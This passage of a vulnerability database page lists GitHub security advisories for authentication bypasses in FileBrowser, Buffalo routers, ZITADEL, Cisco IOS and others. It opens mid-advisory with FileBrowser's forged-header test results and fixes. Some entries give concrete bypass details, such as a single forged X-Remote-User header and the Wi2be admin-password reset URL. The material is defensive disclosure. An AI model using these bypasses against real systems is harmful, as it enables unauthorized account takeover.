/api/login` | **`200 OK`** \u2014 valid admin JWT (608 bytes) |\n| Forged admin token -\u003e `GET /api/settings` | **`200 OK`** \u2014 full server config returned |\n| Forged admin token -\u003e `GET /api/users` | **`200 OK`** \u2014 all user accounts listed |\n| Forged header `X-Remote-User: testuser` | **`200 OK`** \u2014 testuser JWT, files accessible |\n| Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** \u2014 new user auto-created, JWT returned |\n\n## Impact\n\nAn unauthenticated attacker who can reach the FileBrowser instance directly can:\n\n1. **Full admin takeover** \u2014 impersonate the admin user and gain complete control\n2. **Read all server settings** \u2014 shell configuration, permissions, branding, rules\n3. **Enumerate and impersonate all users** \u2014 access every user\u0027s files without credentials\n4. **Create unlimited backdoor accounts** \u2014 auto-creation generates persistent accounts\n5. **Modify server configuration** \u2014 enable command execution, change shell, alter rules\n6. **Chain with other vulnerabilities** \u2014 gain admin access -\u003e enable shell mode -\u003e achieve RCE\n\n**Attack cost:** Zero credentials. One HTTP header.\n\n## Suggested Remediation\n\n### Fix 1: Add trusted proxy IP validation (recommended)\n\n```go\ntype ProxyAuth struct {\n    Header         string   `json:\"header\"`\n    TrustedProxies []string `json:\"trustedProxies\"` // New: list of trusted proxy IPs/CIDRs\n}\n\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    // Verify request originates from a trusted reverse proxy\n    clientIP := realip.FromRequest(r)\n    if !a.isTrustedProxy(clientIP) {\n        return nil, fmt.Errorf(\"proxy auth: request from untrusted source %s\", clientIP)\n    }\n\n    username := r.Header.Get(a.Header)\n    if username == \"\" {\n        return nil, os.ErrPermission\n    }\n\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        if a.AutoCreateUsers {  // Make opt-in\n            return a.createUser(usr, setting, srv, username)\n        }\n        return nil, os.ErrPermission\n    }\n    return user, err\n}\n```\n\n### Fix 2: Make auto-user-creation opt-in\n\nAdd a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation.\n\n### Fix 3: Documentation warning\n\nClearly document that when using proxy auth:\n- FileBrowser **MUST NOT** be directly accessible from untrusted networks\n- Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it\n- The reverse proxy **MUST** strip/overwrite the configured header from client requests\n\n## References\n\n- **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go\n- **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137\n- **CWE-287:** https://cwe.mitre.org/data/definitions/287.html\n- **CWE-290:** https://cwe.mitre.org/data/definitions/290.html\n- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html",
  "id": "GHSA-xqp3-jq6g-x3qm",
  "modified": "2026-07-10T19:27:13Z",
  "published": "2026-07-10T19:27:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54089"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Authentication Bypass via Proxy Auth Header Forgery"
}

GHSA-XQPF-M85G-4RG9

Vulnerability from github – Published: 2022-12-07 12:30 – Updated: 2022-12-13 18:30
VLAI
Details

Authentication bypass vulnerability in multiple Buffalo network devices allows a network-adjacent attacker to bypass authentication and access the device. The affected products/versions are as follows: WCR-300 firmware Ver. 1.87 and earlier, WHR-HP-G300N firmware Ver. 2.00 and earlier, WHR-HP-GN firmware Ver. 1.87 and earlier, WPL-05G300 firmware Ver. 1.88 and earlier, WRM-D2133HP firmware Ver. 2.85 and earlier, WRM-D2133HS firmware Ver. 2.96 and earlier, WTR-M2133HP firmware Ver. 2.85 and earlier, WTR-M2133HS firmware Ver. 2.96 and earlier, WXR-1900DHP firmware Ver. 2.50 and earlier, WXR-1900DHP2 firmware Ver. 2.59 and earlier, WXR-1900DHP3 firmware Ver. 2.63 and earlier, WXR-5950AX12 firmware Ver. 3.40 and earlier, WXR-6000AX12B firmware Ver. 3.40 and earlier, WXR-6000AX12S firmware Ver. 3.40 and earlier, WZR-300HP firmware Ver. 2.00 and earlier, WZR-450HP firmware Ver. 2.00 and earlier, WZR-600DHP firmware Ver. 2.00 and earlier, WZR-900DHP firmware Ver. 1.15 and earlier, WZR-1750DHP2 firmware Ver. 2.31 and earlier, WZR-HP-AG300H firmware Ver. 1.76 and earlier, WZR-HP-G302H firmware Ver. 1.86 and earlier, WEM-1266 firmware Ver. 2.85 and earlier, WEM-1266WP firmware Ver. 2.85 and earlier, WLAE-AG300N firmware Ver. 1.86 and earlier, FS-600DHP firmware Ver. 3.40 and earlier, FS-G300N firmware Ver. 3.14 and earlier, FS-HP-G300N firmware Ver. 3.33 and earlier, FS-R600DHP firmware Ver. 3.40 and earlier, BHR-4GRV firmware Ver. 2.00 and earlier, DWR-HP-G300NH firmware Ver. 1.84 and earlier, DWR-PG firmware Ver. 1.83 and earlier, HW-450HP-ZWE firmware Ver. 2.00 and earlier, WER-A54G54 firmware Ver. 1.43 and earlier, WER-AG54 firmware Ver. 1.43 and earlier, WER-AM54G54 firmware Ver. 1.43 and earlier, WER-AMG54 firmware Ver. 1.43 and earlier, WHR-300 firmware Ver. 2.00 and earlier, WHR-300HP firmware Ver. 2.00 and earlier, WHR-AM54G54 firmware Ver. 1.43 and earlier, WHR-AMG54 firmware Ver. 1.43 and earlier, WHR-AMPG firmware Ver. 1.52 and earlier, WHR-G firmware Ver. 1.49 and earlier, WHR-G300N firmware Ver. 1.65 and earlier, WHR-G301N firmware Ver. 1.87 and earlier, WHR-G54S firmware Ver. 1.43 and earlier, WHR-G54S-NI firmware Ver. 1.24 and earlier, WHR-HP-AMPG firmware Ver. 1.43 and earlier, WHR-HP-G firmware Ver. 1.49 and earlier, WHR-HP-G54 firmware Ver. 1.43 and earlier, WLI-H4-D600 firmware Ver. 1.88 and earlier, WS024BF firmware Ver. 1.60 and earlier, WS024BF-NW firmware Ver. 1.60 and earlier, WXR-1750DHP firmware Ver. 2.60 and earlier, WXR-1750DHP2 firmware Ver. 2.60 and earlier, WZR-1166DHP firmware Ver. 2.18 and earlier, WZR-1166DHP2 firmware Ver. 2.18 and earlier, WZR-1750DHP firmware Ver. 2.30 and earlier, WZR2-G300N firmware Ver. 1.55 and earlier, WZR-450HP-CWT firmware Ver. 2.00 and earlier, WZR-450HP-UB firmware Ver. 2.00 and earlier, WZR-600DHP2 firmware Ver. 1.15 and earlier, WZR-600DHP3 firmware Ver. 2.19 and earlier, WZR-900DHP2 firmware Ver. 2.19 and earlier, WZR-AGL300NH firmware Ver. 1.55 and earlier, WZR-AMPG144NH firmware Ver. 1.49 and earlier, WZR-AMPG300NH firmware Ver. 1.51 and earlier, WZR-D1100H firmware Ver. 2.00 and earlier, WZR-G144N firmware Ver. 1.48 and earlier, WZR-G144NH firmware Ver. 1.48 and earlier, WZR-HP-G300NH firmware Ver. 1.84 and earlier, WZR-HP-G301NH firmware Ver. 1.84 and earlier, WZR-HP-G450H firmware Ver. 1.90 and earlier, WZR-S1750DHP firmware Ver. 2.32 and earlier, WZR-S600DHP firmware Ver. 2.19 and earlier, and WZR-S900DHP firmware Ver. 2.19 and earlier.

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-40966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-07T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authentication bypass vulnerability in multiple Buffalo network devices allows a network-adjacent attacker to bypass authentication and access the device. The affected products/versions are as follows: WCR-300 firmware Ver. 1.87 and earlier, WHR-HP-G300N firmware Ver. 2.00 and earlier, WHR-HP-GN firmware Ver. 1.87 and earlier, WPL-05G300 firmware Ver. 1.88 and earlier, WRM-D2133HP firmware Ver. 2.85 and earlier, WRM-D2133HS firmware Ver. 2.96 and earlier, WTR-M2133HP firmware Ver. 2.85 and earlier, WTR-M2133HS firmware Ver. 2.96 and earlier, WXR-1900DHP firmware Ver. 2.50 and earlier, WXR-1900DHP2 firmware Ver. 2.59 and earlier, WXR-1900DHP3 firmware Ver. 2.63 and earlier, WXR-5950AX12 firmware Ver. 3.40 and earlier, WXR-6000AX12B firmware Ver. 3.40 and earlier, WXR-6000AX12S firmware Ver. 3.40 and earlier, WZR-300HP firmware Ver. 2.00 and earlier, WZR-450HP firmware Ver. 2.00 and earlier, WZR-600DHP firmware Ver. 2.00 and earlier, WZR-900DHP firmware Ver. 1.15 and earlier, WZR-1750DHP2 firmware Ver. 2.31 and earlier, WZR-HP-AG300H firmware Ver. 1.76 and earlier, WZR-HP-G302H firmware Ver. 1.86 and earlier, WEM-1266 firmware Ver. 2.85 and earlier, WEM-1266WP firmware Ver. 2.85 and earlier, WLAE-AG300N firmware Ver. 1.86 and earlier, FS-600DHP firmware Ver. 3.40 and earlier, FS-G300N firmware Ver. 3.14 and earlier, FS-HP-G300N firmware Ver. 3.33 and earlier, FS-R600DHP firmware Ver. 3.40 and earlier, BHR-4GRV firmware Ver. 2.00 and earlier, DWR-HP-G300NH firmware Ver. 1.84 and earlier, DWR-PG firmware Ver. 1.83 and earlier, HW-450HP-ZWE firmware Ver. 2.00 and earlier, WER-A54G54 firmware Ver. 1.43 and earlier, WER-AG54 firmware Ver. 1.43 and earlier, WER-AM54G54 firmware Ver. 1.43 and earlier, WER-AMG54 firmware Ver. 1.43 and earlier, WHR-300 firmware Ver. 2.00 and earlier, WHR-300HP firmware Ver. 2.00 and earlier, WHR-AM54G54 firmware Ver. 1.43 and earlier, WHR-AMG54 firmware Ver. 1.43 and earlier, WHR-AMPG firmware Ver. 1.52 and earlier, WHR-G firmware Ver. 1.49 and earlier, WHR-G300N firmware Ver. 1.65 and earlier, WHR-G301N firmware Ver. 1.87 and earlier, WHR-G54S firmware Ver. 1.43 and earlier, WHR-G54S-NI firmware Ver. 1.24 and earlier, WHR-HP-AMPG firmware Ver. 1.43 and earlier, WHR-HP-G firmware Ver. 1.49 and earlier, WHR-HP-G54 firmware Ver. 1.43 and earlier, WLI-H4-D600 firmware Ver. 1.88 and earlier, WS024BF firmware Ver. 1.60 and earlier, WS024BF-NW firmware Ver. 1.60 and earlier, WXR-1750DHP firmware Ver. 2.60 and earlier, WXR-1750DHP2 firmware Ver. 2.60 and earlier, WZR-1166DHP firmware Ver. 2.18 and earlier, WZR-1166DHP2 firmware Ver. 2.18 and earlier, WZR-1750DHP firmware Ver. 2.30 and earlier, WZR2-G300N firmware Ver. 1.55 and earlier, WZR-450HP-CWT firmware Ver. 2.00 and earlier, WZR-450HP-UB firmware Ver. 2.00 and earlier, WZR-600DHP2 firmware Ver. 1.15 and earlier, WZR-600DHP3 firmware Ver. 2.19 and earlier, WZR-900DHP2 firmware Ver. 2.19 and earlier, WZR-AGL300NH firmware Ver. 1.55 and earlier, WZR-AMPG144NH firmware Ver. 1.49 and earlier, WZR-AMPG300NH firmware Ver. 1.51 and earlier, WZR-D1100H firmware Ver. 2.00 and earlier, WZR-G144N firmware Ver. 1.48 and earlier, WZR-G144NH firmware Ver. 1.48 and earlier, WZR-HP-G300NH firmware Ver. 1.84 and earlier, WZR-HP-G301NH firmware Ver. 1.84 and earlier, WZR-HP-G450H firmware Ver. 1.90 and earlier, WZR-S1750DHP firmware Ver. 2.32 and earlier, WZR-S600DHP firmware Ver. 2.19 and earlier, and WZR-S900DHP firmware Ver. 2.19 and earlier.",
  "id": "GHSA-xqpf-m85g-4rg9",
  "modified": "2022-12-13T18:30:29Z",
  "published": "2022-12-07T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40966"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU92805279/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.buffalo.jp/news/detail/20221003-01.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQV8-W96F-56RP

Vulnerability from github – Published: 2022-05-17 02:26 – Updated: 2022-05-17 02:26
VLAI
Details

EMC Network Configuration Manager (NCM) 9.3.x, EMC Network Configuration Manager (NCM) 9.4.0.x, EMC Network Configuration Manager (NCM) 9.4.1.x, EMC Network Configuration Manager (NCM) 9.4.2.x contains a Java RMI Remote Code Execution vulnerability that could potentially be exploited by malicious users to compromise the affected system.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-2767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-03T07:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "EMC Network Configuration Manager (NCM) 9.3.x, EMC Network Configuration Manager (NCM) 9.4.0.x, EMC Network Configuration Manager (NCM) 9.4.1.x, EMC Network Configuration Manager (NCM) 9.4.2.x contains a Java RMI Remote Code Execution vulnerability that could potentially be exploited by malicious users to compromise the affected system.",
  "id": "GHSA-xqv8-w96f-56rp",
  "modified": "2022-05-17T02:26:33Z",
  "published": "2022-05-17T02:26:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2767"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/540085/30/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95938"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037761"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQX5-4VVJ-RQWR

Vulnerability from github – Published: 2022-05-17 03:08 – Updated: 2022-05-17 03:08
VLAI
Details

A vulnerability in the implementation of X.509 Version 3 for SSH authentication functionality in Cisco IOS and IOS XE Software could allow an unauthenticated, remote attacker to bypass authentication on an affected system. More Information: CSCuv89417. Known Affected Releases: 15.5(2.25)T. Known Fixed Releases: 15.2(4)E1 15.2(4)E2 15.2(4)E3 15.2(4)EA4 15.2(4.0r)EB 15.2(4.1.27)EB 15.2(4.4.2)EA4 15.2(4.7.1)EC 15.2(4.7.2)EC 15.2(5.1.1)E 15.2(5.5.63)E 15.2(5.5.64)E 15.4(1)IA1.80 15.5(3)M1.1 15.5(3)M2 15.5(3)S1.4 15.5(3)S2 15.6(0.22)S0.12 15.6(1)T0.1 15.6(1)T1 15.6(1.15)T 15.6(1.17)S0.7 15.6(1.17)SP 15.6(1.22.1a)T0 15.6(2)S 15.6(2)SP 16.1(1.24) 16.1.2 16.2(0.247) 16.3(0.11) 3.8(1)E Denali-16.1.2.

Severity
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-6474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-12-14T00:59:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the implementation of X.509 Version 3 for SSH authentication functionality in Cisco IOS and IOS XE Software could allow an unauthenticated, remote attacker to bypass authentication on an affected system. More Information: CSCuv89417. Known Affected Releases: 15.5(2.25)T. Known Fixed Releases: 15.2(4)E1 15.2(4)E2 15.2(4)E3 15.2(4)EA4 15.2(4.0r)EB 15.2(4.1.27)EB 15.2(4.4.2)EA4 15.2(4.7.1)EC 15.2(4.7.2)EC 15.2(5.1.1)E 15.2(5.5.63)E 15.2(5.5.64)E 15.4(1)IA1.80 15.5(3)M1.1 15.5(3)M2 15.5(3)S1.4 15.5(3)S2 15.6(0.22)S0.12 15.6(1)T0.1 15.6(1)T1 15.6(1.15)T 15.6(1.17)S0.7 15.6(1.17)SP 15.6(1.22.1a)T0 15.6(2)S 15.6(2)SP 16.1(1.24) 16.1.2 16.2(0.247) 16.3(0.11) 3.8(1)E Denali-16.1.2.",
  "id": "GHSA-xqx5-4vvj-rqwr",
  "modified": "2022-05-17T03:08:13Z",
  "published": "2022-05-17T03:08:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6474"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161207-ios-xe-x509"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94773"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037420"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQXV-4JC2-X56X

Vulnerability from github – Published: 2026-06-18 13:52 – Updated: 2026-07-15 21:51
VLAI
Summary
ZITADEL: Missing client_id binding in OIDC authorization code exchange and refresh token flows (RFC 6749 Section 4.1.3 violation)
Details

Summary

Zitadel's OAuth2 / OIDC CodeExchange and RefreshToken implementations omit a critical validation step to ensure that the requesting client matches the client that originally initiated the authorization flow. This violates RFC 6749 Section 4.1.3, which mandates that the authorization server must ensure the authorization code was issued to the authenticated confidential client.

Impact

This flaw creates potential vulnerabilities in two main authentication phases, provided specific external preconditions are met:

  • Authorization Code Injection: An attacker who intercepts an authorization code (via an independent application vulnerability such as XSS, referrer leakage, log access, or network interception) can exchange it using credentials from a completely different client (ClientB) registered on the same Zitadel instance. Zitadel will authenticate ClientB and issue tokens for the victim user without verifying the client binding.
  • Refresh Token Cross-Use: An attacker who successfully steals a valid refresh token (via an external application exploit or data leak) can present it under a different client identity. Zitadel validates the token's format and expiration but fails to enforce client binding, allowing the attacker to maintain persistent access from an unauthorized client.
  • Device Authorization Cross-Use: An attacker who intercepts or manipulates a device authorization flow grant can finalize the exchange using a different client context than the one that initiated the device session, bypassing intended client boundaries.

Scope and Mitigation Factors:

  • External Preconditions: It is critical to note that exploiting either vector requires a pre-existing vulnerability or data leak within the target application environment to intercept the code or token in the first place. Securing the application layer against token theft remains outside the scope of Zitadel.
  • Multi-tenant risk: On shared or multi-tenant instances, a client belonging to one tenant could theoretically exploit codes/tokens belonging to another tenant's clients if they are successfully intercepted.
  • PKCE protection: Clients strictly using PKCE (Proof Key for Code Exchange) are partially mitigated against the authorization code injection vector, as the attacker would still require the code_verifier. However, PKCE does not protect against refresh token cross-use.

Affected Versions

Systems running one of the following versions are affected:

  • 4.x: 4.0.0 through 4.15.1 (including RC versions)
  • 3.x: 3.0.0 through 3.4.11 (including RC versions)

Patches

The vulnerability has been addressed in the latest releases by re-introducing strict client identity validation on the CodeExchange and RefreshToken grants.

Please upgrade to one of the following secure versions:

Workarounds

The recommended solution is to upgrade to a patched version.

To reduce exposure in the interim, ensure absolute adherence to application security best practices to prevent credential/token theft, enforce the use of PKCE for all clients to mitigate the Authorization Code Injection risk, and minimize refresh token lifespans.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to kodareef5, Shubham Raj / Causal Security, and Gaurav Popalghat for identifying and responsibly reporting this or a part of this vulnerability.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.80.0-v2.20.0.20260616131956-0973b074b488"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:52:18Z",
    "nvd_published_at": "2026-07-10T18:16:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nZitadel\u0027s OAuth2 / OIDC `CodeExchange` and `RefreshToken` implementations omit a critical validation step to ensure that the requesting client matches the client that originally initiated the authorization flow. This violates RFC 6749 Section 4.1.3, which mandates that the authorization server must ensure the authorization code was issued to the authenticated confidential client.\n\n### Impact\n\nThis flaw creates potential vulnerabilities in two main authentication phases, **provided specific external preconditions are met**:\n\n* **Authorization Code Injection:** An attacker who intercepts an authorization code (via an independent application vulnerability such as XSS, referrer leakage, log access, or network interception) can exchange it using credentials from a completely different client (`ClientB`) registered on the same Zitadel instance. Zitadel will authenticate `ClientB` and issue tokens for the victim user without verifying the client binding.\n* **Refresh Token Cross-Use:** An attacker who successfully steals a valid refresh token (via an external application exploit or data leak) can present it under a different client identity. Zitadel validates the token\u0027s format and expiration but fails to enforce client binding, allowing the attacker to maintain persistent access from an unauthorized client.\n* Device Authorization Cross-Use: An attacker who intercepts or manipulates a device authorization flow grant can finalize the exchange using a different client context than the one that initiated the device session, bypassing intended client boundaries.\n\n**Scope and Mitigation Factors:**\n\n* **External Preconditions:** It is critical to note that exploiting either vector **requires a pre-existing vulnerability or data leak within the target application environment** to intercept the code or token in the first place. Securing the application layer against token theft remains outside the scope of Zitadel.\n* **Multi-tenant risk:** On shared or multi-tenant instances, a client belonging to one tenant could theoretically exploit codes/tokens belonging to another tenant\u0027s clients if they are successfully intercepted.\n* **PKCE protection:** Clients strictly using PKCE (Proof Key for Code Exchange) are partially mitigated against the authorization code injection vector, as the attacker would still require the `code_verifier`. However, PKCE does not protect against refresh token cross-use.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x:** `4.0.0` through `4.15.1` (including RC versions)\n* **3.x:** `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases by re-introducing strict client identity validation on the `CodeExchange` and `RefreshToken` grants.\n\nPlease upgrade to one of the following secure versions:\n\n- **4.x**: Upgrade to $\\ge$[4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n- **3.x**: Update to $\\ge$[3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12)\n\n### Workarounds\n\nThe recommended solution is to upgrade to a patched version.\n\nTo reduce exposure in the interim, ensure absolute adherence to application security best practices to prevent credential/token theft, enforce the use of **PKCE** for all clients to mitigate the Authorization Code Injection risk, and minimize refresh token lifespans.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to [kodareef5](https://github.com/kodareef5), Shubham Raj / [Causal Security](https://causalsecurity.com/), and Gaurav Popalghat for identifying and responsibly reporting this or a part of this vulnerability.",
  "id": "GHSA-xqxv-4jc2-x56x",
  "modified": "2026-07-15T21:51:58Z",
  "published": "2026-06-18T13:52:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-xqxv-4jc2-x56x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/commit/0973b074b48816757c47fe732b06d2488d3d284c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/commit/562403079a98cf2059cdac11865a45e2f285be71"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/commit/5b1708e0e650398f0ebc3341714f0798b0118917"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zitadel/zitadel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v3.4.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v4.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " ZITADEL: Missing client_id binding in OIDC authorization code exchange and refresh token flows (RFC 6749 Section 4.1.3 violation)"
}

GHSA-XR3X-PG7W-4W2P

Vulnerability from github – Published: 2022-05-17 04:07 – Updated: 2022-05-17 04:07
VLAI
Details

Impero Education Pro before 5105 relies on the -1|AUTHENTICATE\x02PASSWORD string for authentication, which allows remote attackers to execute arbitrary programs via an encrypted command.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-5998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-09-14T14:59:00Z",
    "severity": "HIGH"
  },
  "details": "Impero Education Pro before 5105 relies on the -1|AUTHENTICATE\\x02PASSWORD string for authentication, which allows remote attackers to execute arbitrary programs via an encrypted command.",
  "id": "GHSA-xr3x-pg7w-4w2p",
  "modified": "2022-05-17T04:07:41Z",
  "published": "2022-05-17T04:07:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5998"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/549807"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XR46-9C78-G7PG

Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49
VLAI
Details

Wi2be SMART HP WMT R1.2.20_201400922 allows unauthorized remote attackers to reset the admin password via the /ConfigWizard/ChangePwd.esp?2admin URL (Attackers can login using the "admin" username with password "admin" after a successful attack).

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-14078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-20T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Wi2be SMART HP WMT R1.2.20_201400922 allows unauthorized remote attackers to reset the admin password via the /ConfigWizard/ChangePwd.esp?2admin URL (Attackers can login using the \"admin\" username with password \"admin\" after a successful attack).",
  "id": "GHSA-xr46-9c78-g7pg",
  "modified": "2022-05-13T01:49:54Z",
  "published": "2022-05-13T01:49:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14078"
    },
    {
      "type": "WEB",
      "url": "https://vulncode.com/advisory/CVE-2018-14078"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XR7Q-4CMW-J44V

Vulnerability from github – Published: 2026-04-05 15:31 – Updated: 2026-04-05 15:31
VLAI
Details

A vulnerability was determined in Technostrobe HI-LED-WR120-G2 5.5.0.1R6.03.30. The affected element is the function index_config of the file /LoginCB. This manipulation causes improper authentication. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-05T14:16:17Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in Technostrobe HI-LED-WR120-G2 5.5.0.1R6.03.30. The affected element is the function index_config of the file /LoginCB. This manipulation causes improper authentication. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-xr7q-4cmw-j44v",
  "modified": "2026-04-05T15:31:54Z",
  "published": "2026-04-05T15:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shiky8/my--cve-vulnerability-research/blob/main/my_VulnDB_cves/CVE-TECHNOSTROBE-02-AuthBypass.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/783323"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355340"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355340/cti"
    }
  ],
  "schema_version": "1.4.0",
